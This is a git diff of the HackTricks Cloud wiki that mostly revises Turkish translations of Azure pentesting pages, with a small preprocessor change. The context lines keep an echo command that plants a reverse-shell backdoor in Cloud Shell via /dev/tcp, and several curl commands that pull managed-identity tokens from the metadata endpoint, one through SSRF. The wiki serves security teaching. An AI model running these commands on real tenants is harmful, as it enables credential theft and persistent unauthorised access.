diff --git a/hacktricks-preprocessor.py b/hacktricks-preprocessor.py index f07acbcdf..f19dddbe1 100644 --- a/hacktricks-preprocessor.py +++ b/hacktricks-preprocessor.py @@ -77,6 +77,8 @@ def ref(matchobj): logger.error(f'Error getting chapter title: {path.normpath(path.join(dir,href))}') sys.exit(1) + if href.endswith("/README.md"): + href = href.replace("/README.md", "/index.html") template = f"""{title}""" diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 4d0520541..e01dc44a7 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -398,8 +398,8 @@ - [Az - Enumeration Tools](pentesting-cloud/azure-security/az-enumeration-tools.md) - [Az - Unauthenticated Enum & Initial Entry](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/README.md) - [Az - OAuth Apps Phishing](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-oauth-apps-phishing.md) - - [Az - Storage Unath](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-storage-unauth.md) - - [Az - VMs Unath](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-vms-unauth.md) + - [Az - Storage Unauth](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-storage-unauth.md) + - [Az - VMs Unauth](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-vms-unauth.md) - [Az - Device Code Authentication Phishing](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md) - [Az - Password Spraying](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-password-spraying.md) - [Az - Services](pentesting-cloud/azure-security/az-services/README.md) diff --git a/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md b/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md index 0f6e36987..bc70dca96 100644 --- a/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md +++ b/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md @@ -32,7 +32,7 @@ echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/ Bu arka kapı, kullanıcı tarafından bulut kabuğu tamamlandıktan 5 dakika sonra bile komutları çalıştırabilir. -Ayrıca, örnek ayrıntıları ve token'lar için Azure'un meta veri hizmetini sorgulayın: +Ayrıca, örnek ayrıntıları ve token'lar için Azure'un metadata hizmetini sorgulayın: {% code overflow="wrap" %} ```bash curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -s diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md index d99f4c282..ef4a6aa34 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md @@ -104,7 +104,7 @@ az logic integration-account batch-configuration create \ {% endcode %} ### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/maps/write" -Bu izinle, bir Azure Logic Apps entegrasyon hesabında haritalar oluşturabilir veya değiştirebilirsiniz. Haritalar, verileri bir formatından diğerine dönüştürmek için kullanılır ve farklı sistemler ve uygulamalar arasında kesintisiz entegrasyon sağlar. +Bu izinle, bir Azure Logic Apps entegrasyon hesabında haritalar oluşturabilir veya değiştirebilirsiniz. Haritalar, verileri bir formattan diğerine dönüştürmek için kullanılır ve farklı sistemler ve uygulamalar arasında kesintisiz entegrasyonu sağlar. {% code overflow="wrap" %} ```bash @@ -174,7 +174,7 @@ GCP Hacking'i öğrenin ve pratik yapın: --resource-group ` veya `az rest --method POST --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"` komutunu çalıştırabilirsiniz. -- Ayrıca, bir **Azure Deposu** kullanmak da mümkündür. -- Bir **yerel git deposu** yapılandırmak da mümkündür. +- Ayrıca bir **Azure Repository** kullanmak da mümkündür. +- **Yerel bir git deposu** yapılandırmak da mümkündür. - Git deposunun URL'sini `az webapp deployment source show --name --resource-group ` komutunu çalıştırarak alabilirsiniz ve bu, uygulamanın SCM URL'si olacaktır. -- Klonlamak için `az webapp deployment list-publishing-profiles --resource-group -n ` komutuyla alabileceğiniz SCM kimlik bilgilerine ihtiyacınız olacaktır. +- Klonlamak için, `az webapp deployment list-publishing-profiles --resource-group -n ` komutuyla alabileceğiniz SCM kimlik bilgilerine ihtiyacınız olacaktır. ## Webjobs -Azure WebJobs, **Azure App Service ortamında çalışan arka plan görevleridir**. Geliştiricilerin web uygulamalarıyla birlikte betikler veya programlar çalıştırmasına olanak tanır, bu da dosya işleme, veri işleme veya planlı görevler gibi asenkron veya zaman alıcı işlemleri daha kolay hale getirir. +Azure WebJobs, **Azure App Service ortamında çalışan arka plan görevleridir**. Geliştiricilerin, web uygulamalarıyla birlikte betikler veya programlar çalıştırmasına olanak tanır ve dosya işleme, veri işleme veya zamanlanmış görevler gibi asenkron veya zaman alıcı işlemleri daha kolay yönetmelerini sağlar. İki tür web job vardır: -- **Sürekli**: Sonsuz bir döngüde çalışır ve oluşturulur oluşturulmaz tetiklenir. Sürekli işleme gerektiren görevler için idealdir. Ancak, uygulama çalışmayı durdurursa ve 20 dakikadır istek almadıysa, web job da duracaktır. -- **Tetiklenmiş**: Talep üzerine veya bir programa dayalı olarak çalışır. Periyodik görevler, örneğin toplu veri güncellemeleri veya bakım rutinleri için en uygun olanıdır. +- **Sürekli**: Sonsuz bir döngüde çalışır ve oluşturulur oluşturulmaz tetiklenir. Sürekli işleme gerektiren görevler için idealdir. Ancak, uygulama çalışmayı durdurursa ve son 20 dakikada bir istek almazsa, web job da duracaktır. +- **Tetiklenmiş**: Talep üzerine veya bir programa göre çalışır. Periyodik görevler, örneğin toplu veri güncellemeleri veya bakım rutinleri için en uygun olanıdır. Webjobs, ortamda **kod çalıştırmak** ve ekli yönetilen kimliklere **yetki artırmak** için kullanılabileceğinden, saldırganlar açısından oldukça ilginçtir. Ayrıca, Webjobs tarafından üretilen **logları** kontrol etmek her zaman ilginçtir, çünkü bu loglar **hassas bilgiler** içerebilir. -## Slotlar +## Slots -Azure App Service Slotları, **uygulamanın farklı sürümlerini** aynı App Service'e dağıtmak için kullanılır. Bu, geliştiricilerin yeni özellikleri veya değişiklikleri üretim ortamına dağıtmadan önce ayrı bir ortamda test etmelerine olanak tanır. +Azure App Service Slots, **uygulamanın farklı sürümlerini** aynı App Service'e dağıtmak için kullanılır. Bu, geliştiricilerin yeni özellikleri veya değişiklikleri üretim ortamına dağıtmadan önce ayrı bir ortamda test etmelerine olanak tanır. -Ayrıca, belirli bir slota **trafik yüzdesi** yönlendirmek mümkündür, bu da A/B testi ve **arka kapı amaçları** için faydalıdır. +Ayrıca, belirli bir slota **trafik yüzdesi** yönlendirmek mümkündür, bu da A/B testleri ve **arka kapı amaçları** için faydalıdır. ## Azure Function Apps -Temelde **Azure Function uygulamaları, Azure App Service'in** bir alt kümesidir ve web konsoluna gittiğinizde tüm uygulama hizmetlerini listelediğinizde veya az cli'de `az webapp list` komutunu çalıştırdığınızda **Function uygulamalarının da orada listelendiğini görebilirsiniz**. +Temelde **Azure Function uygulamaları, Azure App Service'in** bir alt kümesidir ve web konsoluna gittiğinizde tüm uygulama hizmetlerini listelediğinizde veya az cli'de `az webapp list` komutunu çalıştırdığınızda **Function uygulamalarının da orada listelendiğini göreceksiniz**. Bu nedenle, her iki hizmet de aslında çoğunlukla **aynı yapılandırmalara, özelliklere ve az cli'deki seçeneklere** sahiptir, ancak bunları biraz farklı yapılandırabilirler (örneğin appsettings'in varsayılan değerleri veya Function uygulamalarında bir Depolama Hesabı kullanımı). @@ -292,7 +292,7 @@ SCM portalına giriş yaparak veya FTP üzerinden bağlanarak `/wwwroot` dizinin ### Github'dan Python -Bu eğitim, önceki eğitim üzerine inşa edilmiştir ancak bir Github deposu kullanmaktadır. +Bu eğitim, önceki eğitimle aynı temele dayanmakta ancak bir Github deposu kullanmaktadır. 1. Github hesabınızda msdocs-python-flask-webapp-quickstart deposunu fork edin. 2. Azure'da yeni bir Python Web Uygulaması oluşturun. diff --git a/src/pentesting-cloud/azure-security/az-services/az-cloud-shell.md b/src/pentesting-cloud/azure-security/az-services/az-cloud-shell.md index 625389981..24916f0f8 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-cloud-shell.md +++ b/src/pentesting-cloud/azure-security/az-services/az-cloud-shell.md @@ -1,58 +1,58 @@ # Az - Cloud Shell {% hint style="success" %} -AWS Hacking'i öğrenin ve pratik yapın:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -GCP Hacking'i öğrenin ve pratik yapın: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-HackTricks'i Destekleyin +Support HackTricks -* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! -* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**'i takip edin.** -* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} ## Azure Cloud Shell -**Azure Cloud Shell**, Azure kaynaklarını yönetmek için tasarlanmış, etkileşimli, kimlik doğrulamalı, tarayıcı erişimli bir terminaldir ve Bash veya PowerShell ile çalışma esnekliği sunar. 20 dakika boyunca etkinlik olmadığında zaman aşımına uğrayan geçici bir oturum ana bilgisayarında çalışır ve $HOME konumunda 5-GB dosya paylaşımı kullanarak dosyaları kalıcı hale getirir. Cloud Shell, Azure portalı, shell.azure.com, Azure CLI ve PowerShell belgeleri, Azure mobil uygulaması ve Visual Studio Code Azure Hesap uzantısı gibi birden fazla noktadan erişilebilir. +**Azure Cloud Shell**, Azure kaynaklarını yönetmek için tasarlanmış, etkileşimli, kimlik doğrulamalı, tarayıcı erişimli bir terminaldir ve Bash veya PowerShell ile çalışma esnekliği sunar. 20 dakika boyunca etkinlik olmadığında zaman aşımına uğrayan geçici, oturum başına bir sunucuda çalışır ve $HOME konumunda 5-GB dosya paylaşımı kullanarak dosyaları kalıcı hale getirir. Cloud Shell, Azure portalı, shell.azure.com, Azure CLI ve PowerShell belgeleri, Azure mobil uygulaması ve Visual Studio Code Azure Hesap uzantısı gibi birden fazla noktadan erişilebilir. -Bu hizmete atanan izinler yoktur, bu nedenle ayrıcalık yükseltme teknikleri yoktur. Ayrıca herhangi bir türde numaralandırma yoktur. +Bu hizmete atanan izinler yoktur, bu nedenle ayrıcalık yükseltme teknikleri yoktur. Ayrıca herhangi bir türde sayım yoktur. -### Ana Özellikler +### Key Features -**Ortam**: Azure Cloud Shell, bulut altyapısı için tasarlanmış Microsoft'un kendi Linux dağıtımı olan Azure Linux üzerinde çalışarak güvenli bir ortam sağlar. Azure Linux deposundaki tüm paketler, tedarik zinciri saldırılarına karşı koruma sağlamak için Microsoft tarafından dahili olarak derlenmiştir. -**Önceden Yüklenmiş Araçlar**: Cloud Shell, Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git ve vim, nano ve emacs gibi metin düzenleyicileri gibi kapsamlı bir önceden yüklenmiş araç seti içerir. Bu araçlar kullanıma hazırdır. Yüklenen paketleri ve modülleri listelemek için "Get-Module -ListAvailable", "tdnf list" ve "pip3 list" komutlarını kullanabilirsiniz. -**$HOME kalıcılığı**: Azure Cloud Shell'i ilk kez başlattığınızda, onu ekli bir depolama hesabı ile veya onsuz kullanabilirsiniz. Depolama eklememeyi seçmek, oturum sona erdiğinde dosyaların silindiği geçici bir oturum oluşturur. Oturumlar arasında dosyaları kalıcı hale getirmek için bir depolama hesabı bağlayın; bu, **$HOME\clouddrive** olarak otomatik olarak eklenir ve **$HOME** dizininiz Azure File Share'de bir **.img** dosyası olarak kaydedilir. Ancak, $HOME dışındaki dosyalar ve makine durumları kalıcı hale getirilmez. SSH anahtarları gibi gizli bilgileri güvenli bir şekilde depolamak için Azure Key Vault'u kullanın. -**Azure sürücüsü (Azure:)**: Azure Cloud Shell'deki PowerShell, Azure kaynaklarını Compute, Network ve Storage gibi dosya sistemi benzeri komutlar kullanarak kolayca gezmenizi sağlayan Azure sürücüsünü (Azure:) içerir. Azure sürücüsüne geçmek için cd Azure: komutunu kullanın ve ana dizininize dönmek için cd ~ komutunu kullanın. Herhangi bir sürücüden kaynakları yönetmek için Azure PowerShell cmdlet'lerini kullanmaya devam edebilirsiniz. -**Özel Araç Kurulumu**: Depolama hesabı ile Cloud Shell'i yapılandıran kullanıcılar, kök izinleri gerektirmeyen ek araçlar kurabilir. Bu özellik, Cloud Shell ortamının daha fazla özelleştirilmesine olanak tanır ve kullanıcıların kurulumlarını özel ihtiyaçlarına göre uyarlamalarını sağlar. +**Environment**: Azure Cloud Shell, bulut altyapısı için tasarlanmış Microsoft'un kendi Linux dağıtımı olan Azure Linux üzerinde çalışarak güvenli bir ortam sağlar. Azure Linux deposundaki tüm paketler, tedarik zinciri saldırılarına karşı koruma sağlamak için Microsoft tarafından dahili olarak derlenmiştir. +**Preinstalled Tools**: Cloud Shell, Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git ve vim, nano ve emacs gibi metin düzenleyicileri gibi kapsamlı bir önceden yüklenmiş araç seti içerir. Bu araçlar kullanıma hazırdır. Yüklenen paketleri ve modülleri listelemek için "Get-Module -ListAvailable", "tdnf list" ve "pip3 list" komutlarını kullanabilirsiniz. +**$HOME persistence**: Azure Cloud Shell'i ilk kez başlattığınızda, ekli bir depolama hesabı ile veya olmadan kullanabilirsiniz. Depolama eklememeyi seçmek, oturum sona erdiğinde dosyaların silindiği geçici bir oturum oluşturur. Oturumlar arasında dosyaları kalıcı hale getirmek için bir depolama hesabı bağlayın; bu, **$HOME\clouddrive** olarak otomatik olarak eklenir ve **$HOME** dizininiz Azure File Share'de bir **.img** dosyası olarak kaydedilir. Ancak, $HOME dışındaki dosyalar ve makine durumları kalıcı hale getirilmez. SSH anahtarları gibi gizli bilgileri güvenli bir şekilde depolamak için Azure Key Vault'u kullanın. +**Azure drive (Azure:)**: Azure Cloud Shell'deki PowerShell, Azure kaynaklarını Compute, Network ve Storage gibi dosya sistemi benzeri komutlar kullanarak kolayca gezmenizi sağlayan Azure sürücüsünü (Azure:) içerir. Azure sürücüsüne geçmek için cd Azure: komutunu kullanın ve ana dizininize dönmek için cd ~ komutunu kullanın. Herhangi bir sürücüden kaynakları yönetmek için Azure PowerShell cmdlet'lerini kullanmaya devam edebilirsiniz. +**Custom Tool Installation**: Depolama hesabı ile Cloud Shell'i yapılandıran kullanıcılar, kök izinleri gerektirmeyen ek araçlar yükleyebilir. Bu özellik, Cloud Shell ortamının daha fazla özelleştirilmesine olanak tanır ve kullanıcıların kurulumlarını özel ihtiyaçlarına göre uyarlamalarını sağlar. -## Referanslar +## References * [https://learn.microsoft.com/en-us/azure/cloud-shell/overview](https://learn.microsoft.com/en-us/azure/cloud-shell/overview) * [https://learn.microsoft.com/en-us/azure/cloud-shell/features](https://learn.microsoft.com/en-us/azure/cloud-shell/features) * [https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window](https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window) -## Kalıcılık +## Persistence {% content-ref url="../az-privilege-escalation/az-cloud-shell-persistence.md" %} [az-cloud-shell-persistence.md](../az-privilege-escalation/az-cloud-shell-persistence.md) {% endcontent-ref %} {% hint style="success" %} -AWS Hacking'i öğrenin ve pratik yapın:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -GCP Hacking'i öğrenin ve pratik yapın: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-HackTricks'i Destekleyin +Support HackTricks -* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! -* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**'i takip edin.** -* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} diff --git a/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md b/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md index 3882cbe69..56578aaa6 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md +++ b/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md @@ -36,7 +36,7 @@ https://.documents.azure.com:443/ Bir hesap içinde, konteynerlerin mantıksal grupları olarak hizmet eden bir veya daha fazla veritabanı oluşturabilirsiniz. Bir veritabanı, kaynak yönetimi ve kullanıcı izinleri için bir sınır görevi görür. Veritabanları, konteynerleri arasında tahsis edilmiş verimliliği paylaşabilir veya bireysel konteynerlere özel verimlilik tahsis edebilir. #### Konteynerler -Veri depolamanın temel birimi konteynerdir; JSON belgelerini tutar ve verimli sorgulama için otomatik olarak indekslenir. Konteynerler elastik olarak ölçeklenebilir ve kullanıcı tanımlı bir bölüm anahtarı tarafından belirlenen bölümlere dağıtılır. Bölüm anahtarı, optimal performans ve eşit veri dağılımını sağlamak için kritik öneme sahiptir. Örneğin, bir konteyner müşteri verilerini depolayabilir ve "customerId" bölüm anahtarı olarak kullanılabilir. +Veri depolamanın temel birimi konteynerdir, JSON belgelerini tutar ve verimli sorgulama için otomatik olarak indekslenir. Konteynerler elastik olarak ölçeklenebilir ve kullanıcı tanımlı bir bölüm anahtarı tarafından belirlenen bölümlere dağıtılır. Bölüm anahtarı, optimal performans ve eşit veri dağılımını sağlamak için kritik öneme sahiptir. Örneğin, bir konteyner müşteri verilerini depolayabilir ve "customerId" bölüm anahtarı olarak kullanılabilir. #### Sayım @@ -215,7 +215,7 @@ mongodb://:/ MongoDB'de, bir örnek içinde bir veya daha fazla veritabanı oluşturabilirsiniz. Her veritabanı, koleksiyonların mantıksal bir gruplamasını sağlar ve kaynak organizasyonu ve yönetimi için bir sınır oluşturur. Veritabanları, verileri mantıksal olarak ayırmaya ve yönetmeye yardımcı olur, örneğin farklı uygulamalar veya projeler için. #### Koleksiyonlar -MongoDB'deki veri depolamanın temel birimi koleksiyondur, bu koleksiyon belgeleri tutar ve verimli sorgulama ve esnek şema tasarımı için tasarlanmıştır. Koleksiyonlar elastik olarak ölçeklenebilir ve dağıtılmış bir yapı içinde birden fazla düğümde yüksek verimlilikte işlemleri destekleyebilir. +MongoDB'deki veri depolamanın temel birimi koleksiyondur, bu koleksiyon belgeleri tutar ve verimli sorgulama ve esnek şema tasarımı için tasarlanmıştır. Koleksiyonlar elastik olarak ölçeklenebilir ve dağıtık bir yapı içinde birden fazla düğümde yüksek verimlilikte işlemleri destekleyebilir. #### Sayım @@ -339,7 +339,7 @@ print(f"Inserted document with ID: {result.inserted_id}") [az-cosmosDB-privesc.md](../az-privilege-escalation/az-cosmosDB-privesc.md) {% endcontent-ref %} -## İstismar Sonrası +## Sonrası İstismar {% content-ref url="../az-post-exploitation/az-cosmosDB-post-exploitation.md" %} [az-cosmosDB-post-exploitation.md](../az-post-exploitation/az-sql-post-exploitation.md) @@ -348,8 +348,10 @@ print(f"Inserted document with ID: {result.inserted_id}") ## Yapılacaklar * Buradaki DB'nin geri kalanı, tablolar, cassandra, gremlin... -* İstismar sonrası "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read" ve rol tanımlarına bir göz atın çünkü burada bir yetki yükseltme olabilir. -* Geri yüklemelere bir göz atın. +* "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read" ve rol tanımlarına bakın çünkü burada bir yetki yükseltme olabilir +* Geri yüklemelere bakın + + {% hint style="success" %} AWS Hacking'i öğrenin ve pratik yapın:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ @@ -359,7 +361,7 @@ GCP Hacking'i öğrenin ve pratik yapın: [!TIP] > Bir anahtar kullanarak bir fonksiyon API uç noktasına erişim örneği: @@ -96,7 +96,7 @@ Bir fonksiyon içinde bir **HTTP tetikleyici** kullanarak bir uç nokta oluştur ### Temel Kimlik Doğrulama -App Services'ta olduğu gibi, Fonksiyonlar da **SCM** ve **FTP** ile bağlanmak için temel kimlik doğrulamayı destekler; bu, Azure tarafından sağlanan bir **kullanıcı adı ve şifreyi URL'de** kullanarak kod dağıtımına olanak tanır. Bununla ilgili daha fazla bilgi için: +App Services'ta olduğu gibi, Fonksiyonlar da **SCM** ve **FTP** ile bağlanmak için temel kimlik doğrulamayı destekler ve kodu dağıtmak için Azure tarafından sağlanan **bir URL'deki kullanıcı adı ve şifre** kullanır. Bununla ilgili daha fazla bilgi: {{#ref}} az-app-services.md @@ -104,7 +104,7 @@ az-app-services.md ### Github Tabanlı Dağıtımlar -Bir fonksiyon bir Github reposundan oluşturulduğunda, Azure web konsolu, bu depo güncellendiğinde fonksiyonun kodunun güncellenmesi için **belirli bir depoda otomatik olarak bir Github İş Akışı oluşturmanıza** olanak tanır. Aslında, bir Python fonksiyonu için Github Action yaml'ı şöyle görünür: +Bir fonksiyon bir Github deposundan oluşturulduğunda, Azure web konsolu, bu depo güncellendiğinde fonksiyonun kodunun güncellenmesi için **belirli bir depoda otomatik olarak bir Github İş Akışı oluşturmayı** sağlar. Aslında, bir Python fonksiyonu için Github Action yaml'ı şöyle görünür:
diff --git a/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md b/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md index e7fe7a6ac..ff0c075a7 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md +++ b/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md @@ -23,9 +23,9 @@ veya "**Logic app kod görünümü**" bölümünde kodu kontrol edebilirsiniz. ### SSRF Koruması -**Logic App'in SSRF'ye karşı savunmasız olduğunu bulsanız bile**, Logic Apps bunu izin vermediği için metadata'dan kimlik bilgilerine erişemezsiniz. +**Logic App'in SSRF'ye karşı savunmasız olduğunu bulsanız bile**, metadata'dan kimlik bilgilerine erişemezsiniz çünkü Logic Apps bunu izin vermez. -Örneğin, bu gibi bir şey token'ı döndürmeyecektir: +Örneğin, şöyle bir şey token'ı döndürmeyecektir: ```bash # The URL belongs to a Logic App vulenrable to SSRF curl -XPOST 'https://prod-44.westus.logic.azure.com:443/workflows/2d8de4be6e974123adf0b98159966644/triggers/manual/paths/invoke?api-version=2016-10-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=_8_oqqsCXc0u2c7hNjtSZmT0uM4Xi3hktw6Uze0O34s' -d '{"url": "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"}' -H "Content-type: application/json" -v @@ -148,7 +148,7 @@ Get-AzLogicAppTriggerHistory -ResourceGroupName "" -Name " Statik Uygulama oluşturulduğunda, **Dağıtım yetkilendirme politikası** olarak **Dağıtım token'ı** ve **GitHub Actions iş akışı** arasında seçim yapabilirsiniz. - **Dağıtım token'ı**: Bir token oluşturulur ve dağıtım sürecini kimlik doğrulamak için kullanılır. **Bu token'a sahip olan herkes yeni bir uygulama sürümünü dağıtmak için yeterlidir**. Her seferinde depo güncellendiğinde uygulamanın yeni bir sürümünü dağıtmak için token'ın gizli olduğu bir **Github Action otomatik olarak depoya dağıtılır**. -- **GitHub Actions iş akışı**: Bu durumda, depoda çok benzer bir Github Action da dağıtılır ve **token da gizli bir şekilde saklanır**. Ancak, bu Github Action'ın bir farkı vardır; **`actions/github-script@v6`** eylemini kullanarak depo IDToken'ını alır ve uygulamayı dağıtmak için kullanır. -- Her iki durumda da **`Azure/static-web-apps-deploy@v1`** eylemi `azure_static_web_apps_api_token` parametresinde bir token ile kullanılsa da, bu ikinci durumda `github_id_token` parametresinde yetkilendirme IDToken ile yapıldığından, `12345cbb198a77a092ff885781a62a15d51ef5e3654ca11234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345` gibi geçerli bir formatta rastgele bir token uygulamayı dağıtmak için yeterlidir. +- **GitHub Actions iş akışı**: Bu durumda, depoda çok benzer bir Github Action da dağıtılır ve **token da bir gizli olarak saklanır**. Ancak, bu Github Action'ın bir farkı vardır; **`actions/github-script@v6`** eylemini kullanarak depo IDToken'ını alır ve uygulamayı dağıtmak için kullanır. +- Her iki durumda da **`Azure/static-web-apps-deploy@v1`** eylemi `azure_static_web_apps_api_token` parametresinde bir token ile kullanılsa da, bu ikinci durumda `github_id_token` parametresinde IDToken ile yetkilendirme yapıldığı için `12345cbb198a77a092ff885781a62a15d51ef5e3654ca11234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345` gibi geçerli bir formatta rastgele bir token uygulamayı dağıtmak için yeterlidir. ### Web Uygulaması Temel Kimlik Doğrulaması @@ -34,7 +34,7 @@ Ancak, bu **şifreyi düz metin olarak göstermez**, sadece şöyle bir şey gö Rotalar, bir statik web uygulaması içinde **gelen HTTP isteklerinin nasıl işleneceğini** tanımlar. **`staticwebapp.config.json`** dosyasında yapılandırılan bu rotalar, URL yeniden yazma, yönlendirmeler, erişim kısıtlamaları ve rol tabanlı yetkilendirme gibi işlemleri kontrol ederek, kaynakların doğru bir şekilde işlenmesini ve güvenliğini sağlar. -Bazı örnek: +Bazı örnekler: ```json { "routes": [ @@ -168,7 +168,7 @@ Get-AzStaticWebAppUserProvidedFunctionApp -ResourceGroupName Aşağıdaki bağlantıda bir web uygulaması oluşturmak için güzel bir örnek bulabilirsiniz: [https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github](https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github) -1. https://github.com/staticwebdev/react-basic/generate deposunu GitHub hesabınıza fork edin ve adını `my-first-static-web-app` olarak belirleyin. +1. Depoyu https://github.com/staticwebdev/react-basic/generate GitHub hesabınıza fork edin ve adını `my-first-static-web-app` olarak belirleyin. 2. Azure portalında, GitHub erişimini yapılandırarak ve daha önce fork ettiğiniz yeni depoyu seçerek bir Statik Web Uygulaması oluşturun. 3. Oluşturun, birkaç dakika bekleyin ve yeni sayfanızı kontrol edin! diff --git a/src/pentesting-cloud/azure-security/az-services/az-table-storage.md b/src/pentesting-cloud/azure-security/az-services/az-table-storage.md index 5f17c8804..7a9e3a6ca 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-table-storage.md +++ b/src/pentesting-cloud/azure-security/az-services/az-table-storage.md @@ -4,7 +4,7 @@ ## Temel Bilgiler -**Azure Table Storage**, büyük hacimli yapılandırılmış, ilişkisel olmayan verileri depolamak için tasarlanmış bir NoSQL anahtar-değer deposudur. Yüksek kullanılabilirlik, düşük gecikme süresi ve büyük veri setlerini verimli bir şekilde işlemek için ölçeklenebilirlik sunar. Veriler, her bir varlığın bir bölüm anahtarı ve satır anahtarı ile tanımlandığı tablolara organize edilir, bu da hızlı sorgulama sağlar. Verilerin dinlenme sırasında şifrelenmesi, rol tabanlı erişim kontrolü ve güvenli, yönetilen depolama için paylaşılan erişim imzaları gibi özellikleri destekler; bu da geniş bir uygulama yelpazesi için uygundur. +**Azure Table Storage**, büyük hacimli yapılandırılmış, ilişkisel olmayan verileri depolamak için tasarlanmış bir NoSQL anahtar-değer deposudur. Yüksek kullanılabilirlik, düşük gecikme süresi ve büyük veri setlerini verimli bir şekilde işlemek için ölçeklenebilirlik sunar. Veriler, her varlığın bir bölüm anahtarı ve satır anahtarı ile tanımlandığı tablolara organize edilir, bu da hızlı sorgulama sağlar. Verilerin dinlenme sırasında şifrelenmesi, rol tabanlı erişim 